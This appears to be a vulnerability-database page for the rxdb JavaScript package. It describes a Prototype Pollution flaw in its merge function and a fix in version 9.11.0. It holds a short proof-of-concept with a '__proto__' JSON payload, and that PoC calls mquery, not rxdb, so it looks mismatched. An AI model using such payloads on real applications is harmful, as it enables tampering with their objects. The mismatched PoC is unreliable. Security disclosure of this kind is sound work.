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rxdb@1.0.0 vulnerabilities

A local-first realtime NoSQL Database for JavaScript applications - https://rxdb.info/

  • latest version

    16.20.0

  • latest non vulnerable version

    16.20.0

  • first published

    8 years ago

  • latest version published

    14 days ago

  • licenses detected

    • ISC
      >=1.0.0 <1.4.5
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    Direct Vulnerabilities

    Known vulnerabilities in the rxdb package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    rxdb is a RxDB (short for Reactive Database) is a NoSQL-database for JavaScript Applications like Websites, hybrid Apps, Electron-Apps, Progressive Web Apps and NodeJs.

    Affected versions of this package are vulnerable to Prototype Pollution via the merge function within lib/utils.js. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

    PoC

       require('./env').getCollection(function(err, collection) {
      assert.ifError(err);
      col = collection;
      done();
    });
    var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
    var m = mquery(payload);
    console.log({}.polluted);
// The empty object {} will have a property called polluted which will print vulnerable

    How to fix Prototype Pollution?

    Upgrade rxdb to version 9.11.0 or higher.

    <9.11.0
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